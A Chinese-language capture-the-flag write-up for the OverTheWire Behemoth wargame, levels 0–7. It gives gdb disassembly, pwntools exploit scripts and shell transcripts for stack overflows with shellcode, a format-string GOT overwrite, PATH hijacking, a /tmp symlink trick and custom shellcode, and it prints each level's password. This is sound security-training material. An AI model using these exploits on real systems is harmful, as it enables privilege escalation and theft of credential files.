文章目录
前言
本篇文章为OverTheWire网站Behemoth关卡的学习记录。
- 通过ssh behemothX@behemoth.labs.overthewire.org 2221进行登录。
- 参考Writeup有OverTheWire: Behemoth writeup
Level 0 -> Level 1
Username: behemoth0
Password: behemoth0
ssh behemoth0@behemoth.labs.overthewire.org 2221
- 将
behemoth0执行文件
下载到自己搭建的虚拟机上进行调试分析。 - 通过gdb调试,反汇编分析发现输入相应的password字符串,就可以得到密码。
pwndbg> disassemble main
Dump of assembler code for function main:
...
0x08048619 <+104>: lea eax,[ebp-0x1c]
0x0804861c <+107>: push eax
0x0804861d <+108>: lea eax,[ebp-0x5d]
0x08048620 <+111>: push eax
0x08048621 <+112>: call 0x80483f0 <strcmp@plt>
0x08048626 <+117>: add esp,0x8
...
End of assembler dump.
pwndbg> b *0x08048621
Breakpoint 1 at 0x8048621
pwndbg> r
...
─────────[ DISASM ]────────────────────────────────────
► 0x8048621 <main+112> call strcmp@plt <strcmp@plt>
s1: 0xffffd1eb ◂— 0x636261 /* 'abc' */
s2: 0xffffd22c ◂— 'eatmyshorts'
- 登录服务器执行程序。
behemoth0@behemoth:/behemoth$ ./behemoth0
Password: eatmyshorts
Access granted..
$ cat /etc/behemoth_pass/behemoth1
aesebootiv
Level 1 -> Level 2
Username: behemoth1
Password: aesebootiv
ssh behemoth1@behemoth.labs.overthewire.org 2221
- gdb调试发现gets函数,存在缓冲区溢出。
- 由ebp-0x43,知道ret的地址在0x43+4处。
pwndbg> disassemble main
Dump of assembler code for function main:
0x0804844b <+0>: push ebp
0x0804844c <+1>: mov ebp,esp
0x0804844e <+3>: sub esp,0x44
0x08048451 <+6>: push 0x8048500
0x08048456 <+11>: call 0x8048300 <printf@plt>
0x0804845b <+16>: add esp,0x4
0x0804845e <+19>: lea eax,[ebp-0x43]
0x08048461 <+22>: push eax
0x08048462 <+23>: call 0x8048310 <gets@plt>
0x08048467 <+28>: add esp,0x4
0x0804846a <+31>: push 0x804850c
0x0804846f <+36>: call 0x8048320 <puts@plt>
0x08048474 <+41>: add esp,0x4
0x08048477 <+44>: mov eax,0x0
0x0804847c <+49>: leave
0x0804847d <+50>: ret
End of assembler dump.
- 在gets函数处下断,获取eax的值,从而计算出返回地址。
# -*- coding: utf-8 -*-
from pwn import *
# print("A"*71+"B"*4)
shellcode = shellcraft.i386.sh()
# print(len(asm(shellcode)))
# ret_addr = 0xffffd1f5 + 71 + 100
ret_addr = 0xffffd655+ 71 + 100 #eax
payload = b"\x90" * 71
payload += p32(ret_addr)
payload += b"\x90" * 128
payload += asm(shellcode) # len 22
sys.stdout.buffer.write(payload) # > test.txt
# print(payload)
# (cat test ;cat) | ./behemoth1
- 将test.txt上传至服务器上执行,得到shell。
behemoth1@behemoth:/behemoth$ (cat /tmp/mytest1/behemoth1.txt ;cat) | ./behemoth1
Password: Authentication failure.
Sorry.
whoami
behemoth2
cat /etc/behemoth_pass/behemoth2
eimahquuof
Level 2 -> Level 3
Username: behemoth2
Password: eimahquuof
ssh behemoth2@behemoth.labs.overthewire.org 2221
- gdb调试发现程序执行system(“touch %d”),可通过改变PATH环境变量,使程序实现touch脚本文件。
- 首先,创建自己的touch脚本,内容为
cat /etc/behemoth_pass/behemoth3
。 - 需要更新 PATH 变量,以便它首先查看当前工作目录,以确保执行的是我们的触摸脚本而不是实际的触摸程序。
behemoth2@behemoth:/tmp/mytest2$ cat touch
cat /etc/behemoth_pass/behemoth3
behemoth2@behemoth:/tmp/mytest2$ chmod 777 touch
behemoth2@behemoth:/tmp/mytest2$ export PATH=/tmp/mytest2:$PATH
behemoth2@behemoth:/tmp/mytest2$ /behemoth/behemoth2
nieteidiel
Level 3 -> Level 4
Username: behemoth3
Password: nieteidiel
ssh behemoth3@behemoth.labs.overthewire.org 2221
- gdb调试发现,第二个printf函数存在格式化字符串漏洞,并且之后执行puts函数打印
aaaand goodbye again.
。(格式化字符串漏洞利用原理参考其他资料) - 可通过格式化字符串漏洞修改puts_got地址的值为system的虚拟地址;
- 并在临时目录下创建
aaaanb
脚本,修改PATH
变量,类似上一关。从而执行aaaanb
脚本输出密码。
behemoth3@behemoth:/tmp/mytest3$ cat aaaand
cat /etc/behemoth_pass/behemoth4
behemoth3@behemoth:/tmp/mytest3$ chmod 777 aaaand
behemoth3@behemoth:/tmp/mytest3$ export PATH=/tmp/mytest3:$PATH
behemoth3@behemoth:/tmp/mytest3$ /behemoth/behemoth3 < test.txt
ietheishei
- python脚本生成格式化字符串。
# -*- coding: utf-8 -*-
from pwn import *
offset = 1
puts_got = 0x080497ac
system_addr = 0xf7e4c850 # 0xf7e08160
payload = fmtstr_payload(offset, {puts_got : system_addr})
sys.stdout.buffer.write(payload) # > test.txt
# touch aaaand
# export PATH=/.../:$PATH
# readelf -r behemoth3 -> puts_got
# gdb print system -> system_addr
Level 4 -> Level 5
Username: behemoth4
Password: ietheishei
ssh behemoth4@behemoth.labs.overthewire.org 2221
- 通过IDA反汇编分析程序执行过程,发现程序会获取自身pid,并在/tmp目录下打开相应文件,通过fgetc函数输入内容。
- 进程pid生成规律为最大pid+1,通过
ps aux
,得到最大pid。 - 通过
ln -s
软链接方式链接到密码文件,从而输出密码。 - 也可以通过脚本不断执行程序,使之进程pid循环匹配到自己创建的链接文件,参考其他资料实现。
behemoth4@behemoth:/behemoth$ ln -s /etc/behemoth_pass/behemoth5 /tmp/29305
behemoth4@behemoth:/behemoth$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
behemot+ 28976 0.0 0.5 21208 5140 pts/31 Ss 03:00 0:00 -bash
behemot+ 29305 0.0 0.2 19196 2436 pts/31 R+ 03:11 0:00 ps aux
behemoth4@behemoth:/behemoth$ ln -s /etc/behemoth_pass/behemoth5 /tmp/29307
behemoth4@behemoth:/behemoth$ ./behemoth4
Finished sleeping, fgetcing
aizeeshing
Level 5 -> Level 6
Username: behemoth5
Password: aizeeshing
ssh behemoth5@behemoth.labs.overthewire.org 2221
- 通过IDA反汇编分析程序执行流程,可以知道程序打开behemoth6的密码文件;
- 通过socket函数创建套接字,类型为UDP;(可通过less /usr/include/bits/socket_type.h自动数值2为类型
SOCK_DGRAM = 2
,即UDP) - 通向本地端口1337发送密码文件的内容。
- 通过nc命令创建监听端口,并在另一个终端执行程序,即可获得密码。可参考资料Linux nc命令。
- 提示:通过ps aux命令可发现有以前执行的命令。
(gdb)
push 0 ; protocol
push 2 ; type
push 2 ; domain
call _socket
behemoth5@behemoth:~$ less /usr/include/bits/socket_type.h
...
#define SOCK_STREAM SOCK_STREAM
SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams
of fixed maximum length. */
behemoth5@behemoth:/behemoth$ nc -l -u -p 1337 localhost
mayiroeche
Level 6 -> Level 7
Username: behemoth6
Password: mayiroeche
ssh behemoth6@behemoth.labs.overthewire.org 2221
- 通过IDA及gdb分析两个程序执行流程,可知道如下信息。
- behemoth6程序通过popen函数执行behemoth6_reader,并将得到的结果与字符串“HelloKitty”进行比较,如果相等,则执行shell;
- behemoth6_reader程序读取shellcode.txt文件到malloc申请的内存中,并直接call执行shellcod的数据。
- 利用思路:编写shellcode,实现
printf("HelloKitty");
的函数调用过程,即可得到shell。 - 首先编写初步的汇编,注意call printf处,还需要通过gdb调试获取malloc申请的地址,以及printf的虚拟地址,之后在计算对应硬编码的偏移值。
pwndbg> info registers
eax 0x804c2f0 134529776
ecx 0x804b010 134524944
pwndbg> print printf
$1 = {int (const char *, ...)} 0xf7e17220 <__printf>
- 汇编代码如下。
; nasm -f elf32 sc32.asm
; ld -m elf_i386 -o sc32 sc32.o
; objdump -d sc32
section .text
global _start
_start:
push 0x00007974;"ty\x00\x00"
push 0x74694B6F;"oKit"
push 0x6C6C6548;"Hell"
mov ebx, esp
push ebx
call 0xf7e17220 ;__printf ,need to calculate offset
add esp, 0x10
ret
- 提取生成的shellcode硬编码。
kang@kali:~/PWN/Behemoth/Behemoth6$ objdump -d sc32 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x68\x74\x79\x00\x00\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\x89\xe3\x53\xe8\x09\xe2\xdc\xef\x83\xc4\x10\xc3"
- 将shellcode硬编码写到python脚本中。
- 注意:此时需根据malloc申请的地址,以及运行时printf的虚拟地址,计算出printf函数的偏移值。基本的公式是:目的地址(printf虚拟地址) = 当前地址(call指令处的地址) + 当前指令长度(5) +
硬编码偏移值(求)
。 - 注意:malloc申请的地址与call指令地址之间还有18字节的长度,需要减去。
# -*- coding: utf-8 -*-
from pwn import *
# printf_offset = 0xf7e17220 - 0x804c302 - 5
printf_offset = 0xf7e5b7d0 - 0x804c170 - 5 - 18
payload = b"\x68\x74\x79\x00\x00"
payload += b"\x68\x6f\x4b\x69\x74"
payload += b"\x68\x48\x65\x6c\x6c"
payload += b"\x89\xe3"
payload += b"\x53"
# payload += b"\xe8\x09\xe2\xdc\xef"
payload += b"\xe8" + p32(printf_offset)
payload += b"\x83\xc4\x10"
payload += b"\xc3"
sys.stdout.buffer.write(payload) # > shellcode.txt
- 将生成的shellcode.txt上传至临时目录,执行即可。
behemoth6@behemoth:/tmp/mytest6$ /behemoth/behemoth6_reader
HelloKittybehemoth6@behemoth:/tmp/mytest6$ /behemoth/behemoth6
Correct.
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo
Level 7 -> Level 8
Username: behemoth7
Password: baquoxuafo
ssh behemoth7@behemoth.labs.overthewire.org 2221
- 通过IDA和gdb分析程序执行流程,可以知道程序判断输入的前0x200个字符是否为字母,如果是,调用strcpy()函数复制数据到缓冲区中(存在缓冲区溢出);否则提示错误。
- 这里可以输入0x200个字母字符,绕过判断,直到调用strcpy()函数。
- ret_addr的地址值通过gdb调试
x /200wx $esp
得到。 - python脚本如下。
from pwn import *
import sys
# ./behemoth7 aaaaaaaaaaaaaaaaaaaa > hex
ret_addr = 0xffffd448
# ret_addr = 0xffffd40c
shellcode = shellcraft.i386.sh()
# print(hex(blah_addr))
# print(shellcode)
# print(asm(shellcode))
# print(len(asm(shellcode)))
payload = b"A"*0x20C
payload += b"A"*4
payload += p32(ret_addr)
payload += b"\x90" * 200
payload += asm(shellcode)
# print(len(payload))
# print(payload)
sys.stdout.buffer.write(payload) # > test.txt
# r $(cat test.txt)
- 将test.txt上传至服务器临时目录,执行即可。
behemoth7@behemoth:/tmp/mytest7$ /behemoth/behemoth7 $(cat test.txt)
$ cat /etc/behemoth_pass/behemoth8
pheewij7Ae
总结
- 题目主要是简单的栈溢出、格式化字符串漏洞,以及IDA的使用。